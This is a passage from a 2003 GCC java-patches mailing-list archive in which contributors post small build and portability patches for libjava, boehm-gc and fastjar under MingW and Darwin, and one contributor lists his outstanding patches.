ODkuaHRtbCI+VGhyZWFkJm5ic3A7TmV4dDwvQT5dPC90ZD4KICA8L3RyPgo8L3RhYmxlPgo8 IS0tL2h0ZGlnX25vaW5kZXgtLT4KCjwhLS1YLUJvdFBOSS1FbmQtLT4KPCEtLVgtVXNlci1G b290ZXItLT4KPCEtLVgtVXNlci1Gb290ZXItRW5kLS0+CjwvYm9keT4KPC9odG1sPg=9 --R5rVE7iQ32P509HB06b08m1T0hyi5bRw08-- From java-patches-return-6387-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 03:55:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2125 invoked by alias); 8 Mar 2003 03:55:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2118 invoked from network); 8 Mar 2003 03:55:26 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 03:55:26 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h283tPi30991 for ; Fri, 7 Mar 2003 21:55:25 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Fri, 07 Mar 2003 21:55:23 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Patch for Preview: Escape DllMain in boehm-gc (Take 2) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Patch Folks, Ranjit>> As for the patch itself, I believe that GC_DLL doesn't Ranjit>> actually get defined by anyone in this release - this Ranjit>> should get defined most likely if "--enable-shared" is Ranjit>> given via changes in configure.in. Here is the GC_DLL patch I promised to redo. Again, here is the issue it attempts to resolve: http://gcc.gnu.org/ml/java/2003-02/msg00291.html This seems to work properly when I built the cross compiler. I think this patch (and the other patches I'm submitting tonight) all satisfy the < ~10 lines of code rule, so hopefully the fact that I haven't received the FSF paperwork yet shouldn't be an issue. Enjoy. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-07 Mohan Embar * configure.in: define GC_DLL under mingw if --enable-shared * configure: rebuilt * win32_threads.c: add #ifdef GC_DLL around DllMain Index: configure.in =================================================================== RCS file: /cvsroot/gcc/gcc/boehm-gc/configure.in,v retrieving revision 1.43.14.2 diff -u -2 -r1.43.14.2 configure.in --- configure.in 20 Feb 2003 09:12:13 -0000 1.43.14.2 +++ configure.in 8 Mar 2003 03:22:16 -0000 @@ -117,4 +117,7 @@ AC_DEFINE(GC_WIN32_THREADS) AC_DEFINE(NO_GETENV) + if test $enable_shared = yes; then + AC_DEFINE(GC_DLL) + fi ;; decosf1 | irix | mach | os2 | solaris | dce | vxworks) Index: win32_threads.c =================================================================== RCS file: /cvsroot/gcc/gcc/boehm-gc/win32_threads.c,v retrieving revision 1.12 diff -u -2 -r1.12 win32_threads.c --- win32_threads.c 24 Sep 2002 00:59:52 -0000 1.12 +++ win32_threads.c 8 Mar 2003 03:22:17 -0000 @@ -528,4 +528,6 @@ LONG WINAPI GC_write_fault_handler(struct _EXCEPTION_POINTERS *exc_info); +#ifdef GC_DLL + /* * This isn't generally safe, since DllMain is not premptible. @@ -635,4 +637,6 @@ return TRUE; } + +# endif /* GC_DLL */ # endif /* !MSWINCE */ From java-patches-return-6388-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 04:13:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12930 invoked by alias); 8 Mar 2003 04:13:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12920 invoked from network); 8 Mar 2003 04:13:04 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 04:13:04 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h284D3C00585 for ; Fri, 7 Mar 2003 22:13:03 -0600 From: Mohan Embar To: GCJ Patches Date: Fri, 07 Mar 2003 22:13:01 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: Subject: Patch: Suppress MingW Build-Busting Net Code MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch Folks, Taking the tact that something is better than nothing, this patch #ifdefs out net code which currently breaks the MingW build. The same problem of BSD/Windows Sockets incompatibilities in java.net is rearing its head in the java.nio.channels package. Given that the consensus seemed to be to split out the code in java.net, shouldn't the same approach be followed in gnu.java.nio? I know the #ifdefs are ugly, but they currently run rampant in java.net and they unbreak the MingW build while waiting for the glorious day that we properly split out the code. Your call.... Enjoy. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-07 Mohan Embar * gnu/java/nio/natSelectorImpl.cc (java_do_select): #ifdef out functionality not implemented under mingw (_Jv_select()) * java/net/natPlainDatagramSocketImpl.cc (peek): #ifdef out code that breaks mingw build (ECONNREFUSED) (peekData): idem (send): idem (receive): idem Index: gnu/java/nio/natSelectorImpl.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/gnu/java/nio/natSelectorImpl.cc,v retrieving revision 1.1 diff -u -2 -r1.1 natSelectorImpl.cc --- gnu/java/nio/natSelectorImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natSelectorImpl.cc 8 Mar 2003 02:34:11 -0000 @@ -81,4 +81,8 @@ jintArray except, jlong timeout) { +#ifdef WIN32 + throw new ::java::io::IOException (JvNewStringUTF ("java.nio.channels.Selector.select() not implemented")); + return -1; +#else jint result; int max_fd = 0; @@ -124,3 +128,4 @@ return result; +#endif } Index: java/net/natPlainDatagramSocketImpl.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/net/natPlainDatagramSocketImpl.cc,v retrieving revision 1.52 diff -u -2 -r1.52 natPlainDatagramSocketImpl.cc --- java/net/natPlainDatagramSocketImpl.cc 26 Nov 2002 20:09:28 -0000 1.52 +++ java/net/natPlainDatagramSocketImpl.cc 8 Mar 2003 02:34:16 -0000 @@ -311,6 +311,10 @@ char* strerr = strerror (errno); +#ifndef WIN32 if (errno == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); + // FIXME: On Win32, commenting this out means that for now, + // the wrong kind of exception is thrown. +#endif throw new java::io::IOException (JvNewStringUTF (strerr)); @@ -378,6 +382,10 @@ char* strerr = strerror (errno); +#ifndef WIN32 if (errno == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); + // FIXME: On Win32, commenting this out means that for now, + // the wrong kind of exception is thrown. +#endif throw new java::io::IOException (JvNewStringUTF (strerr)); @@ -433,6 +441,10 @@ char* strerr = strerror (errno); +#ifndef WIN32 if (errno == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); + // FIXME: On Win32, commenting this out means that for now, + // the wrong kind of exception is thrown. +#endif throw new java::io::IOException (JvNewStringUTF (strerr)); @@ -500,6 +512,10 @@ char* strerr = strerror (errno); +#ifndef WIN32 if (errno == ECONNREFUSED) throw new PortUnreachableException (JvNewStringUTF (strerr)); + // FIXME: On Win32, commenting this out means that for now, + // the wrong kind of exception is thrown. +#endif throw new java::io::IOException (JvNewStringUTF (strerr)); From java-patches-return-6389-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 04:54:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16280 invoked by alias); 8 Mar 2003 04:54:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16272 invoked from network); 8 Mar 2003 04:54:58 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 04:54:58 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h284swX05326 for ; Fri, 7 Mar 2003 22:54:58 -0600 From: Mohan Embar To: GCJ Patches Date: Fri, 07 Mar 2003 22:54:55 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: Subject: Patch: Add #include in fastjar MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch Folks, This patch adds an #include to dostime.c in fastjar for the definition of NULL. It's required to do a self-hosted build of GCC/GCJ 3.3 under MingW GCC 3.2. I also believe it's a valid #include because the inclusion of stddef.h can't necessarily be inferred from the other #includes on all platforms. Enjoy. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-07 Mohan Embar * dostime.c: add #include for definition of NULL Index: dostime.c =================================================================== RCS file: /cvsroot/gcc/gcc/fastjar/dostime.c,v retrieving revision 1.4 diff -u -2 -r1.4 dostime.c --- dostime.c 11 Nov 2002 22:20:56 -0000 1.4 +++ dostime.c 8 Mar 2003 03:19:26 -0000 @@ -19,5 +19,5 @@ #include - +#include #include From java-patches-return-6390-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 05:19:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1402 invoked by alias); 8 Mar 2003 05:19:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1391 invoked from network); 8 Mar 2003 05:19:23 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 05:19:23 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h285JNh08503 for ; Fri, 7 Mar 2003 23:19:23 -0600 From: Mohan Embar To: GCJ Patches Date: Fri, 07 Mar 2003 23:19:21 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: Subject: Patch: natSocketChannelImpl.cc use elements + explicit cast MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch Folks, This patch addresses something that broke under the MingW build, possibly because jbyte seems to be unsigned char and not signed char on Win32. It also appeared to me that "elements(data)" was needed instead of just plain "data". Am I right? Also see my comment about the cast to char* instead of const char* in ::send(). Enjoy. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-07 Mohan Embar * gnu/java/nio/natSocketChannelImpl.cc (SocketRead): use elements(data) and explicitly cast to char* on platforms where jbyte is not signed char (SocketWrite): idem Index: gnu/java/nio/natSocketChannelImpl.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/gnu/java/nio/natSocketChannelImpl.cc,v retrieving revision 1.1.12.2 diff -u -2 -r1.1.12.2 natSocketChannelImpl.cc --- gnu/java/nio/natSocketChannelImpl.cc 1 Mar 2003 22:57:53 -0000 1.1.12.2 +++ gnu/java/nio/natSocketChannelImpl.cc 8 Mar 2003 02:34:11 -0000 @@ -144,5 +144,6 @@ jint offset, jint length) { - int result = ::recv (fd, data, offset, length); + int result = + ::recv (fd, reinterpret_cast(elements(data)), offset, length); if (result < 0) @@ -159,5 +160,8 @@ jint offset, jint length) { - int result = ::send (fd, data, offset, length); + int result = + ::send (fd, reinterpret_cast(elements(data)), offset, length); + // made this char* instead of const char* because I wasn't sure + // about the API on all UNICES. if (result < 0) From java-patches-return-6391-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 05:33:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2907 invoked by alias); 8 Mar 2003 05:33:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2900 invoked from network); 8 Mar 2003 05:33:55 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 05:33:55 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h285Xsh10077 for ; Fri, 7 Mar 2003 23:33:54 -0600 From: Mohan Embar To: GCJ Patches Date: Fri, 07 Mar 2003 23:33:53 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <75MJ042WC0XVMHD8X3XNJ5ZHB732U85.3e6980c1@p733> Subject: Patch: Override auto-guessed max cmd line length in MingW MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch Folks, This patch is another piece needed for a self-hosted build of GCC/GCJ 3.3 under MingW GCC 3.2. For some reason, the maximum command line length guessed by ltconfig for MSYS (the Win32 bash shell port) on Win32 is almost 400K, which is way too much for ar to handle. This overrides the auto-guessed value to 30000, a number Ranjit previously came up with. Is this the correct way to do this? Enjoy. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-07 Mohan Embar * ltcf-c.sh: force maximum command line length for mingw * ltcf-cxx.sh: idem * ltcf-gcj.sh: idem Index: ltcf-c.sh =================================================================== RCS file: /cvsroot/gcc/gcc/ltcf-c.sh,v retrieving revision 1.17 diff -u -2 -r1.17 ltcf-c.sh --- ltcf-c.sh 14 Aug 2002 02:39:52 -0000 1.17 +++ ltcf-c.sh 5 Mar 2003 06:30:34 -0000 @@ -823,2 +823,10 @@ fi ac_cv_archive_cmds_needs_lc=$need_lc + +# This compensates for the fact that ltconfig chooses too high a length +# for the command line. +case $host_os in + mingw*) + lt_cv_sys_max_cmd_len=30000 + ;; +esac Index: ltcf-cxx.sh =================================================================== RCS file: /cvsroot/gcc/gcc/ltcf-cxx.sh,v retrieving revision 1.23.14.2 diff -u -2 -r1.23.14.2 ltcf-cxx.sh --- ltcf-cxx.sh 20 Feb 2003 01:12:47 -0000 1.23.14.2 +++ ltcf-cxx.sh 5 Mar 2003 06:30:36 -0000 @@ -1020,2 +1020,10 @@ *) need_lc=yes ;; esac + +# This compensates for the fact that ltconfig chooses too high a length +# for the command line. +case $host_os in + mingw*) + lt_cv_sys_max_cmd_len=30000 + ;; +esac Index: ltcf-gcj.sh =================================================================== RCS file: /cvsroot/gcc/gcc/ltcf-gcj.sh,v retrieving revision 1.10.42.1 diff -u -2 -r1.10.42.1 ltcf-gcj.sh --- ltcf-gcj.sh 20 Feb 2003 00:36:49 -0000 1.10.42.1 +++ ltcf-gcj.sh 5 Mar 2003 06:30:39 -0000 @@ -650,2 +650,10 @@ # All existing releases of GCJ support `-c -o'. lt_cv_compiler_c_o=yes + +# This compensates for the fact that ltconfig chooses too high a length +# for the command line. +case $host_os in + mingw*) + lt_cv_sys_max_cmd_len=30000 + ;; +esac From java-patches-return-6392-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 06:04:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22925 invoked by alias); 8 Mar 2003 06:04:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22917 invoked from network); 8 Mar 2003 06:04:20 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 06:04:20 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2864KO13613 for ; Sat, 8 Mar 2003 00:04:20 -0600 From: Mohan Embar To: GCJ Patches Date: Sat, 08 Mar 2003 00:04:20 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <5Y9642OMJDW9FBL4YGD97ZT72LK43.3e6987e4@p733> Subject: Patch: Reorder a source file in Makefile.am (libjava) MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch Folks, This patch is another piece needed for a self-hosted build of GCC/GCJ 3.3 under MingW GCC 3.2. For some reason, MSYS (the Win32 bash shell port) doesn't like the javax/swing/plaf/metal/MetalLookAndFeel.java in the midst of all of the javax/swing/plaf/ classes, so I moved it after these. Enjoy. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-07 Mohan Embar * Makefile.am: moved MetalLookAndFeel.java out of javax.swing.plaf classes * Makefile.in: Rebuilt. Index: Makefile.am =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.264.2.12 diff -u -2 -r1.264.2.12 Makefile.am --- Makefile.am 1 Mar 2003 22:57:52 -0000 1.264.2.12 +++ Makefile.am 8 Mar 2003 05:49:12 -0000 @@ -1029,5 +1029,4 @@ javax/swing/plaf/TreeUI.java \ javax/swing/plaf/ViewportUI.java \ -javax/swing/plaf/metal/MetalLookAndFeel.java \ javax/swing/plaf/ColorUIResource.java \ javax/swing/plaf/DimensionUIResource.java \ @@ -1057,4 +1056,5 @@ javax/swing/plaf/ToolBarUI.java \ javax/swing/plaf/ToolTipUI.java \ +javax/swing/plaf/metal/MetalLookAndFeel.java \ javax/swing/AbstractListModel.java \ javax/swing/AbstractSet.java \ From java-patches-return-6393-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 06:11:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24633 invoked by alias); 8 Mar 2003 06:11:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24522 invoked from network); 8 Mar 2003 06:11:54 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 8 Mar 2003 06:11:54 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E5C8D5000062313 for java-patches@gcc.gnu.org; Sat, 8 Mar 2003 07:11:53 +0100 Message-ID: <3E6989A8.9080506@pop.agri.ch> Date: Sat, 08 Mar 2003 07:11:52 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3b) Gecko/20030210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Java Patch List Subject: patch jni.exp for darwin dylibs Content-Type: multipart/mixed; boundary="------------050003080502030607000704" This is a multi-part message in MIME format. --------------050003080502030607000704 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, this patch lets darwin compile and link the jni testcases. Darwin uses the -dynamiclib flag to compile dylibs instead of -shared. Also the extension is .dylib iso. so. I'm not able to run them since there is another problem doing the call. But a step forward. I tested it on head and branch 3.3 on darwinppc and linuxppc. It should be applicable to 3.3 and head. If I get an ok, I can do that. Thanks, Andreas 2003-03-08 Andreas Tobler * libjava.jni/jni.exp: Add compilation/link fix dor darwin dylibs. --------------050003080502030607000704 Content-Type: text/plain; name="jni-exp.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="jni-exp.diff" Index: libjava.jni/jni.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jni/jni.exp,v retrieving revision 1.9 diff -u -r1.9 jni.exp --- libjava.jni/jni.exp 13 Dec 2002 05:00:14 -0000 1.9 +++ libjava.jni/jni.exp 8 Mar 2003 06:04:01 -0000 @@ -5,11 +5,23 @@ # success. proc gcj_jni_compile_c_to_so {file {options {}}} { global srcdir + global host_triplet +# apple uses a different extension for shared/dynamic libraries +# so we check against powerpc-apple-darwin and set them to +# dylib, else we assume it's .so + + if { [ regexp {powerpc-apple-darwin} $host_triplet] } { + set so_extension "dylib" + set so_flag "-dynamiclib" + } else { + set so_extension "so" + set so_flag "-shared" + } set name [file rootname [file tail $file]] - set soname lib${name}.so + set soname lib${name}.${so_extension} - lappend options "additional_flags=-shared -fPIC" + lappend options "additional_flags=${so_flag} -fPIC" # Find the generated header. lappend options "additional_flags=-I. -I.." # Find jni.h. @@ -90,6 +102,17 @@ # Do all the work for a single JNI test. Return 0 on failure. proc gcj_jni_test_one {file} { global runtests + global host_triplet + +# apple uses a different extension for shared/dynamic libraries +# so we check against powerpc-apple-darwin and set them to +# dylib, else we assume it's .so + + if { [ regexp {powerpc-apple-darwin} $host_triplet] } { + set so_extension "dylib" + } else { + set so_extension "so" + } # The base name. We use it for several purposes. set main [file rootname [file tail $file]] @@ -156,7 +179,7 @@ } # When we succeed we remove all our clutter. - eval gcj_cleanup [glob -nocomplain -- ${main}.*] [list $main lib${main}.so] + eval gcj_cleanup [glob -nocomplain -- ${main}.*] [list $main lib${main}.${so_extension}] return 1 } --------------050003080502030607000704-- From java-patches-return-6394-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 06:37:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29679 invoked by alias); 8 Mar 2003 06:37:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29672 invoked from network); 8 Mar 2003 06:37:56 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 06:37:56 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h286btO17411 for ; Sat, 8 Mar 2003 00:37:55 -0600 From: Mohan Embar To: GCJ Patches Date: Sat, 08 Mar 2003 00:37:55 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Patch for Preview: Cross-Configury Tweaks (Updated) MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch Folks, I am resubmitting this, again taking the liberty of updating the ChangeLog date and keeping this under Ranjit's name. The only change from the last submission is that I changed Ranjit's ac_cv_exeext to ac_exeext. I don't think this is perfect: for some reason, the cross compiler I built with this produced an executable which didn't pick up swt-XXX.dll. (It looked like it was searching for a library without the .dll suffix.) Nevertheless, I think it is an order of magnitude better than the existing version, which is downright wrong for cross and crossed-native builds. And the patch in its current state allows a generated cross compiler to build a crossed-native compiler because no JNI is required by the cross compiler. I felt a sense of urgency to resubmit this since Andrew said he might look at patches this weekend. Ranjit: if you're not happy with this, speak up. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ 2003-03-07 Ranjit Mathew * configure.in: Use "with_cross_host" to check if we are being built with a cross-compiler. Add ac_exeext to the file name used in a native build to check if gcj has been built alongside. Use this gcj only if it is not a crossed-native build, otherwise assume cross-compiling gcj for the target is in the path. Eliminate native build check when building libltdl * configure: Rebuilt. * Makefile.am: Use cross-compiling gcjh from the path for a crossed-native build. * Makefile.in: Rebuilt. Index: Makefile.am =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.264.2.10 diff -u -2 -r1.264.2.10 Makefile.am --- Makefile.am 12 Feb 2003 20:00:03 -0000 1.264.2.10 +++ Makefile.am 23 Feb 2003 15:24:11 -0000 @@ -53,8 +53,9 @@ ## found in the build tree. ZIP = $(MULTIBUILDTOP)../$(COMPPATH)/fastjar/jar +GCJH = gcjh else ZIP = jar +GCJH = $(target_alias)-gcjh endif -GCJH = gcjh else # CANADIAN GCJH = $(MULTIBUILDTOP)../$(COMPPATH)/gcc/gcjh Index: configure.in =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/configure.in,v retrieving revision 1.142.4.6 diff -u -2 -r1.142.4.6 configure.in --- configure.in 20 Feb 2003 09:12:24 -0000 1.142.4.6 +++ configure.in 23 Feb 2003 15:24:38 -0000 @@ -24,16 +24,14 @@ AM_CONFIG_HEADER(include/config.h gcj/libgcj-config.h) -# Only use libltdl for native builds. -if test -z "${with_cross_host}"; then - AC_LIBLTDL_CONVENIENCE - AC_LIBTOOL_DLOPEN - DIRLTDL=libltdl - AC_DEFINE(USE_LTDL) - # Sigh. Libtool's macro doesn't do the right thing. - INCLTDL="-I\$(top_srcdir)/libltdl $INCLTDL" - # FIXME: this is a hack. - sub_auxdir="`cd $ac_aux_dir && ${PWDCMD-pwd}`" - ac_configure_args="$ac_configure_args --with-auxdir=$sub_auxdir" -fi +AC_LIBLTDL_CONVENIENCE +AC_LIBTOOL_DLOPEN +DIRLTDL=libltdl +AC_DEFINE(USE_LTDL) +# Sigh. Libtool's macro doesn't do the right thing. +INCLTDL="-I\$(top_srcdir)/libltdl $INCLTDL" +# FIXME: this is a hack. +sub_auxdir="`cd $ac_aux_dir && ${PWDCMD-pwd}`" +ac_configure_args="$ac_configure_args --with-auxdir=$sub_auxdir" + AC_SUBST(INCLTDL) AC_SUBST(LIBLTDL) @@ -472,5 +470,5 @@ AC_SUBST(gcc_version) -if test "x${with_newlib}" = "xyes"; then +if test -n "${with_cross_host}"; then # We are being configured with a cross compiler. AC_REPLACE_FUNCS # may not work correctly, because the compiler may not be able to @@ -735,7 +733,14 @@ changequote([,]) fi - if test -x "${builddotdot}/../../gcc/gcj"; then - dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" - GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" + if test -x "${builddotdot}/../../gcc/gcj${ac_exeext}"; then + if test x"$build" = x"$host"; then + dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" + GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" + else + # Crossed-native build (host=target and host!=build) + CANADIAN=yes + NULL_TARGET=no + GCJ="${target_alias}-gcj -B`${PWDCMD-pwd}`/" + fi else CANADIAN=yes From java-patches-return-6395-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 06:48:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24153 invoked by alias); 8 Mar 2003 06:48:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24146 invoked from network); 8 Mar 2003 06:48:43 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 06:48:43 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h286mgO18597 for ; Sat, 8 Mar 2003 00:48:42 -0600 From: Mohan Embar To: GCJ Patches Date: Sat, 08 Mar 2003 00:48:42 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Message-Id: <31A8SQNK4YEB87CAGFHGTS72E9RNXRB7.3e69924a@p733> Subject: Re: Outstanding patches MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Andrew, Since we're lobbying for patches, here is my list: Trivial: - #ifdef GC_DLL: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00669.html - #if[n]def WIN32: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00670.html - in fastjar: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00671.html - natSocketChannelImpl.cc: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00672.html - reorder source file: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00674.html Not As Trivial: - max cmd line length: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00673.html - cross configury: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00676.html - _Jv_ThisExecutable(): http://gcc.gnu.org/ml/java-patches/2003-q1/msg00576.html (I think the _Jv_ThisExecutable() patch, even though non-trivial, still qualifies as a <10 line thingy because I basically moved stuff around and deleted stuff.) Thanks for everything you're doing. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6396-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 17:45:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3737 invoked by alias); 8 Mar 2003 17:45:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3729 invoked from network); 8 Mar 2003 17:45:09 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 8 Mar 2003 17:45:09 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18riN6-0006Bf-00 for ; Sat, 